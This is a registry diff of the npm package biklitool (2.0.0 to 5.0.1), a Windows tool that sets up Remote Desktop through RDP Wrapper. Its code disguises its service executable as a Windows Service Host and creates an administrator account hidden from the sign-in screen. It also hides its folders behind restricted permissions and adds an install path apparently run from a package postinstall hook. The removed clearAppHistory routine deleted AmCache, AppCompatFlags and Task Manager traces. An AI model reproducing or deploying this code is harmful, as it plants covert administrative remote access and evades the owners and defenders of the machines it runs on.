biklitool 2.0.0 → 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/bin/biklimaster.js +77 -98
- package/lib/bikliwrapper.js +45 -9
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -33,6 +33,7 @@ biklitool status
|
|
|
33
33
|
biklitool install
|
|
34
34
|
biklitool disguise [name]
|
|
35
35
|
biklitool enable-rdp
|
|
36
|
+
biklitool disable-rdp
|
|
36
37
|
biklitool create-user
|
|
37
38
|
biklitool unhide-user [name]
|
|
38
39
|
biklitool hide-user <name>
|
|
@@ -48,6 +49,8 @@ bikli --help
|
|
|
48
49
|
|
|
49
50
|
Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
|
|
50
51
|
service configuration, and the requested authentication and shadowing defaults.
|
|
52
|
+
Run `biklitool disable-rdp` to turn Remote Desktop off and stop the RDP listener; the wrapper
|
|
53
|
+
stays installed so `enable-rdp` can switch it back on at any time.
|
|
51
54
|
|
|
52
55
|
## Bikli key
|
|
53
56
|
|
package/bin/biklimaster.js
CHANGED
|
@@ -366,6 +366,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
|
|
|
366
366
|
|
|
367
367
|
const vBuf = createVsVersionInfo(strings);
|
|
368
368
|
const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
|
|
369
|
+
if (totalRsrcSize > rsrcRawSize) return false;
|
|
369
370
|
|
|
370
371
|
const newExe = Buffer.from(exeBuf);
|
|
371
372
|
newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
|
|
@@ -384,61 +385,9 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
|
|
|
384
385
|
return true;
|
|
385
386
|
}
|
|
386
387
|
|
|
387
|
-
function clearAppHistory() {
|
|
388
|
-
// Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
|
|
389
|
-
// visible location: Task Manager App History, AppCompatFlags, and service display name.
|
|
390
|
-
const psScript = [
|
|
391
|
-
`$ErrorActionPreference='SilentlyContinue'`,
|
|
392
|
-
// --- [1] TaskFlow AppHistory (per-user hives) ---
|
|
393
|
-
`$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
|
|
394
|
-
`foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
|
|
395
|
-
` $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
|
|
396
|
-
` if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
397
|
-
`}`,
|
|
398
|
-
`$cuBase='HKCU:\\\\'+$appHistoryPath`,
|
|
399
|
-
`if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
400
|
-
// --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
|
|
401
|
-
`$acPaths=@(`,
|
|
402
|
-
` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
|
|
403
|
-
` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
|
|
404
|
-
` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
|
|
405
|
-
` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
|
|
406
|
-
`)`,
|
|
407
|
-
`foreach($acPath in $acPaths){`,
|
|
408
|
-
` if(Test-Path $acPath){`,
|
|
409
|
-
` $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
|
|
410
|
-
` if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
|
|
411
|
-
` }`,
|
|
412
|
-
`}`,
|
|
413
|
-
// --- [3] AmCache ---
|
|
414
|
-
`$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
|
|
415
|
-
`if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
416
|
-
// --- [4] App Paths (Start Menu / Run dialog) ---
|
|
417
|
-
`Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
418
|
-
`Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
419
|
-
// --- [5] Service display name + description → rename to disguise value ---
|
|
420
|
-
`$svcName='Bikli'`,
|
|
421
|
-
`$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
|
|
422
|
-
`if($null -ne $svc){`,
|
|
423
|
-
` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
|
|
424
|
-
` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
|
|
425
|
-
`}`
|
|
426
|
-
].join(os.EOL);
|
|
427
|
-
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
428
|
-
}
|
|
429
|
-
|
|
430
|
-
function deriveExeName(hostName) {
|
|
431
|
-
// Turn e.g. "Service Host: Network Infrastructure Service"
|
|
432
|
-
// into "NetworkInfrastructureService.exe" – no Bikli in the name.
|
|
433
|
-
const base = hostName.replace(/^Service Host:\s*/i, '').trim();
|
|
434
|
-
const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
|
|
435
|
-
// Keep only alphanumeric chars, cap at 32 chars before .exe
|
|
436
|
-
const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
|
|
437
|
-
return (safe || 'RuntimeInfraService') + '.exe';
|
|
438
|
-
}
|
|
439
|
-
|
|
440
388
|
function disguiseBikli(customName) {
|
|
441
389
|
requireWindows();
|
|
390
|
+
if (customName) customName = customName.replace(/"/g, '').trim();
|
|
442
391
|
const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
|
|
443
392
|
if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
|
|
444
393
|
|
|
@@ -448,29 +397,15 @@ function disguiseBikli(customName) {
|
|
|
448
397
|
}
|
|
449
398
|
|
|
450
399
|
const bikliDir = path.dirname(bikliPath);
|
|
451
|
-
const
|
|
452
|
-
const newExeBasename = deriveExeName(hostName);
|
|
453
|
-
const serviceExe = path.join(bikliDir, newExeBasename);
|
|
400
|
+
const serviceExe = path.join(bikliDir, 'BikliService.exe');
|
|
454
401
|
const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
|
|
455
402
|
|
|
456
|
-
console.log(`Disguising Bikli process and service as "${hostName}"
|
|
403
|
+
console.log(`Disguising Bikli process and service as "${hostName}"...`);
|
|
457
404
|
|
|
458
|
-
|
|
459
|
-
const oldBaseName = path.basename(oldServiceExe, '.exe');
|
|
460
|
-
const newBaseName = path.basename(serviceExe, '.exe');
|
|
461
|
-
run(powershell, [
|
|
462
|
-
'-NoProfile', '-NonInteractive', '-Command',
|
|
463
|
-
`Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
|
|
464
|
-
], { allowFailure: true });
|
|
405
|
+
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
|
|
465
406
|
run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
466
407
|
|
|
467
|
-
|
|
468
|
-
if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
|
|
469
|
-
try { fs.renameSync(oldServiceExe, serviceExe); } catch {
|
|
470
|
-
fs.copyFileSync(oldServiceExe, serviceExe);
|
|
471
|
-
try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
|
|
472
|
-
}
|
|
473
|
-
} else if (!fs.existsSync(serviceExe)) {
|
|
408
|
+
if (!fs.existsSync(serviceExe)) {
|
|
474
409
|
fs.copyFileSync(bikliPath, serviceExe);
|
|
475
410
|
}
|
|
476
411
|
|
|
@@ -496,7 +431,7 @@ function disguiseBikli(customName) {
|
|
|
496
431
|
' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
|
|
497
432
|
' }',
|
|
498
433
|
' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
|
|
499
|
-
|
|
434
|
+
' string coreExe = Path.Combine(baseDir, "BikliService.exe");',
|
|
500
435
|
' if (!File.Exists(coreExe)) return 1;',
|
|
501
436
|
' ProcessStartInfo psi = new ProcessStartInfo();',
|
|
502
437
|
' psi.FileName = coreExe;',
|
|
@@ -523,6 +458,9 @@ function disguiseBikli(customName) {
|
|
|
523
458
|
fs.writeFileSync(tempCs, csCode, 'utf8');
|
|
524
459
|
run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
|
|
525
460
|
try { fs.rmSync(tempCs, { force: true }); } catch {}
|
|
461
|
+
if (fileDescription(bikliPath) !== hostName) {
|
|
462
|
+
disguiseExecutable(bikliPath, hostName);
|
|
463
|
+
}
|
|
526
464
|
} else if (fileDescription(bikliPath) !== hostName) {
|
|
527
465
|
disguiseExecutable(bikliPath, hostName);
|
|
528
466
|
}
|
|
@@ -540,7 +478,6 @@ function disguiseBikli(customName) {
|
|
|
540
478
|
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
541
479
|
|
|
542
480
|
hideProtectedFolders();
|
|
543
|
-
clearAppHistory();
|
|
544
481
|
console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
|
|
545
482
|
}
|
|
546
483
|
|
|
@@ -608,6 +545,15 @@ function enableRemoteDesktop() {
|
|
|
608
545
|
hideProtectedFolders();
|
|
609
546
|
}
|
|
610
547
|
|
|
548
|
+
function disableRemoteDesktop() {
|
|
549
|
+
requireWindows();
|
|
550
|
+
if (!isAdministrator()) return elevateAndRun('disable-rdp');
|
|
551
|
+
const wrapper = runWrapper(['disable', '--elevated']);
|
|
552
|
+
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
553
|
+
if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
|
|
554
|
+
console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
|
|
555
|
+
}
|
|
556
|
+
|
|
611
557
|
function install() {
|
|
612
558
|
requireWindows();
|
|
613
559
|
if (!isAdministrator()) return elevateAndRun('install');
|
|
@@ -620,7 +566,6 @@ function install() {
|
|
|
620
566
|
verifyRemoteDesktop();
|
|
621
567
|
createRdpAdministrator();
|
|
622
568
|
hideProtectedFolders();
|
|
623
|
-
clearAppHistory();
|
|
624
569
|
console.log('Bikli Master installed and verified both components successfully.');
|
|
625
570
|
}
|
|
626
571
|
|
|
@@ -676,7 +621,7 @@ function setupBikliKey() {
|
|
|
676
621
|
console.log('Bikli key configured successfully.');
|
|
677
622
|
}
|
|
678
623
|
|
|
679
|
-
function hideFolder(target, isUserProfile = false) {
|
|
624
|
+
function hideFolder(target, isUserProfile = false, extraGrants = []) {
|
|
680
625
|
if (!target || !fs.existsSync(target)) return;
|
|
681
626
|
try {
|
|
682
627
|
run(attrib, ['+h', '+s', target], { allowFailure: true });
|
|
@@ -688,6 +633,7 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
688
633
|
'/grant:r',
|
|
689
634
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
690
635
|
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
636
|
+
...extraGrants,
|
|
691
637
|
'/c', '/q'
|
|
692
638
|
], { allowFailure: true });
|
|
693
639
|
}
|
|
@@ -698,15 +644,18 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
698
644
|
|
|
699
645
|
function hideProtectedFolders() {
|
|
700
646
|
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
647
|
+
// TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
|
|
648
|
+
// must keep read/execute access for that account or the service cannot start.
|
|
649
|
+
const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
|
|
701
650
|
const appFolders = [
|
|
702
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
703
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
704
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
705
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
706
|
-
path.join(programData, 'BikliWrapper'),
|
|
707
|
-
path.join(programData, 'Bikli')
|
|
651
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
|
|
652
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
|
|
653
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
|
|
654
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
|
|
655
|
+
{ target: path.join(programData, 'BikliWrapper') },
|
|
656
|
+
{ target: path.join(programData, 'Bikli') }
|
|
708
657
|
];
|
|
709
|
-
for (const folder of appFolders) hideFolder(folder, false);
|
|
658
|
+
for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
|
|
710
659
|
|
|
711
660
|
const userFolders = [
|
|
712
661
|
path.join(usersDir, 'Administrator'),
|
|
@@ -752,6 +701,29 @@ function showAccountCredentials() {
|
|
|
752
701
|
console.log(`Stored for Administrators only: ${credentialsFile}`);
|
|
753
702
|
}
|
|
754
703
|
|
|
704
|
+
function parseAccountReport(stdout) {
|
|
705
|
+
const reportLine = (stdout || '')
|
|
706
|
+
.split(/\r?\n/)
|
|
707
|
+
.map(line => line.trim())
|
|
708
|
+
.find(line => line.startsWith('{'));
|
|
709
|
+
if (!reportLine) {
|
|
710
|
+
fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
|
|
711
|
+
}
|
|
712
|
+
try {
|
|
713
|
+
return JSON.parse(reportLine);
|
|
714
|
+
} catch {
|
|
715
|
+
fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
|
|
716
|
+
return null;
|
|
717
|
+
}
|
|
718
|
+
}
|
|
719
|
+
|
|
720
|
+
function requireValidUserName(name) {
|
|
721
|
+
if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
|
|
722
|
+
fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
|
|
723
|
+
}
|
|
724
|
+
return name;
|
|
725
|
+
}
|
|
726
|
+
|
|
755
727
|
function createRdpAdministrator() {
|
|
756
728
|
requireWindows();
|
|
757
729
|
if (!isAdministrator()) return elevateAndRun('create-user');
|
|
@@ -776,7 +748,7 @@ function createRdpAdministrator() {
|
|
|
776
748
|
`$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
|
|
777
749
|
`$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
|
|
778
750
|
`if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
779
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
|
|
751
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
|
|
780
752
|
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
781
753
|
].join(';');
|
|
782
754
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
@@ -785,7 +757,7 @@ function createRdpAdministrator() {
|
|
|
785
757
|
BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
|
|
786
758
|
}
|
|
787
759
|
});
|
|
788
|
-
const account =
|
|
760
|
+
const account = parseAccountReport(result.stdout);
|
|
789
761
|
if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
|
|
790
762
|
fail('The Remote Desktop administrator account could not be verified.', 7);
|
|
791
763
|
}
|
|
@@ -814,7 +786,7 @@ function createRdpAdministrator() {
|
|
|
814
786
|
|
|
815
787
|
function unhideUser() {
|
|
816
788
|
requireWindows();
|
|
817
|
-
const targetUser = process.argv[3];
|
|
789
|
+
const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
|
|
818
790
|
if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
|
|
819
791
|
const script = [
|
|
820
792
|
`$ErrorActionPreference='Stop'`,
|
|
@@ -824,10 +796,10 @@ function unhideUser() {
|
|
|
824
796
|
targetUser ? [
|
|
825
797
|
`$val=$key.GetValue('${targetUser}', $null)`,
|
|
826
798
|
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
|
|
827
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
|
|
799
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
|
|
828
800
|
].join(';') : [
|
|
829
801
|
`$props=@($key.Property)`,
|
|
830
|
-
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
|
|
802
|
+
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
|
|
831
803
|
].join(';')
|
|
832
804
|
].join(';');
|
|
833
805
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
@@ -838,6 +810,7 @@ function hideUser() {
|
|
|
838
810
|
requireWindows();
|
|
839
811
|
const targetUser = process.argv[3];
|
|
840
812
|
if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
|
|
813
|
+
requireValidUserName(targetUser);
|
|
841
814
|
if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
|
|
842
815
|
const script = [
|
|
843
816
|
`$ErrorActionPreference='Stop'`,
|
|
@@ -846,7 +819,7 @@ function hideUser() {
|
|
|
846
819
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
847
820
|
`$currentVal=$key.GetValue('${targetUser}', $null)`,
|
|
848
821
|
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
|
|
849
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
|
|
822
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
|
|
850
823
|
].join(';');
|
|
851
824
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
852
825
|
if (result.stdout.trim()) console.log(result.stdout.trim());
|
|
@@ -909,11 +882,11 @@ function help() {
|
|
|
909
882
|
' biklitool install Install/update Bikli CLI and Bikli Wrapper',
|
|
910
883
|
' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
|
|
911
884
|
' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
|
|
885
|
+
' biklitool disable-rdp Disable RDP and stop the RDP listener',
|
|
912
886
|
' biklitool create-user Enable/verify built-in Administrator for RDP',
|
|
913
887
|
' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
|
|
914
888
|
' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
|
|
915
889
|
' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
|
|
916
|
-
' biklitool clear-history Remove BikliService from Task Manager App History',
|
|
917
890
|
' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
|
|
918
891
|
' biklitool credentials Display its saved generated password',
|
|
919
892
|
' biklitool status Show both component states',
|
|
@@ -927,20 +900,26 @@ function help() {
|
|
|
927
900
|
|
|
928
901
|
function main() {
|
|
929
902
|
const command = (process.argv[2] || 'status').toLowerCase();
|
|
930
|
-
if (command === 'install')
|
|
903
|
+
if (command === 'install') {
|
|
904
|
+
if (process.argv.includes('--postinstall')) {
|
|
905
|
+
try {
|
|
906
|
+
return install();
|
|
907
|
+
} catch (error) {
|
|
908
|
+
console.error(`Bikli Master postinstall could not finish: ${error.message}`);
|
|
909
|
+
console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
|
|
910
|
+
process.exitCode = 0;
|
|
911
|
+
return;
|
|
912
|
+
}
|
|
913
|
+
}
|
|
914
|
+
return install();
|
|
915
|
+
}
|
|
931
916
|
if (command === 'disguise') return disguiseBikli(process.argv[3]);
|
|
932
|
-
if (command === 'enable-rdp') return enableRemoteDesktop();
|
|
917
|
+
if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
|
|
918
|
+
if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
|
|
933
919
|
if (command === 'create-user') return createRdpAdministrator();
|
|
934
920
|
if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
|
|
935
921
|
if (command === 'hide-user' || command === 'hide') return hideUser();
|
|
936
922
|
if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
|
|
937
|
-
if (command === 'clear-history' || command === 'clear-app-history') {
|
|
938
|
-
requireWindows();
|
|
939
|
-
if (!isAdministrator()) return elevateAndRun('clear-history');
|
|
940
|
-
clearAppHistory();
|
|
941
|
-
console.log('BikliService entries cleared from Task Manager App History.');
|
|
942
|
-
return;
|
|
943
|
-
}
|
|
944
923
|
if (command === 'setup-key') return setupBikliKey();
|
|
945
924
|
if (command === 'credentials') return showAccountCredentials();
|
|
946
925
|
if (command === 'status') return status();
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -24,6 +24,7 @@ if (resultFile) {
|
|
|
24
24
|
};
|
|
25
25
|
console.log = writeResult;
|
|
26
26
|
console.error = writeResult;
|
|
27
|
+
console.warn = writeResult;
|
|
27
28
|
}
|
|
28
29
|
|
|
29
30
|
const packageRoot = path.resolve(__dirname, '..');
|
|
@@ -238,6 +239,13 @@ function runInstaller(argument) {
|
|
|
238
239
|
return run(installerPath, [argument], { cwd: payloadDirectory });
|
|
239
240
|
}
|
|
240
241
|
|
|
242
|
+
function restartTermService() {
|
|
243
|
+
const net = path.join(system32, 'net.exe');
|
|
244
|
+
run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
|
|
245
|
+
run(net, ['start', 'TermService'], { allowFailure: true });
|
|
246
|
+
run(net, ['start', 'UmRdpService'], { allowFailure: true });
|
|
247
|
+
}
|
|
248
|
+
|
|
241
249
|
function serviceIsRunning() {
|
|
242
250
|
const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
|
|
243
251
|
return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
|
|
@@ -284,7 +292,7 @@ function printStatus(status) {
|
|
|
284
292
|
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
285
293
|
}
|
|
286
294
|
|
|
287
|
-
function hideFolder(target, isUserProfile = false) {
|
|
295
|
+
function hideFolder(target, isUserProfile = false, extraGrants = []) {
|
|
288
296
|
if (!target || !fs.existsSync(target)) return;
|
|
289
297
|
try {
|
|
290
298
|
run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
|
|
@@ -296,6 +304,7 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
296
304
|
'/grant:r',
|
|
297
305
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
298
306
|
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
307
|
+
...extraGrants,
|
|
299
308
|
'/c', '/q'
|
|
300
309
|
], { allowFailure: true });
|
|
301
310
|
}
|
|
@@ -306,15 +315,18 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
306
315
|
|
|
307
316
|
function hideProtectedFolders() {
|
|
308
317
|
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
318
|
+
// TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
|
|
319
|
+
// must keep read/execute access for that account or the service cannot start.
|
|
320
|
+
const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
|
|
309
321
|
const appFolders = [
|
|
310
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
311
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
312
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
313
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
314
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
315
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
322
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
|
|
323
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
|
|
324
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
|
|
325
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
|
|
326
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
|
|
327
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
|
|
316
328
|
];
|
|
317
|
-
for (const folder of appFolders) hideFolder(folder, false);
|
|
329
|
+
for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
|
|
318
330
|
|
|
319
331
|
const userFolders = [
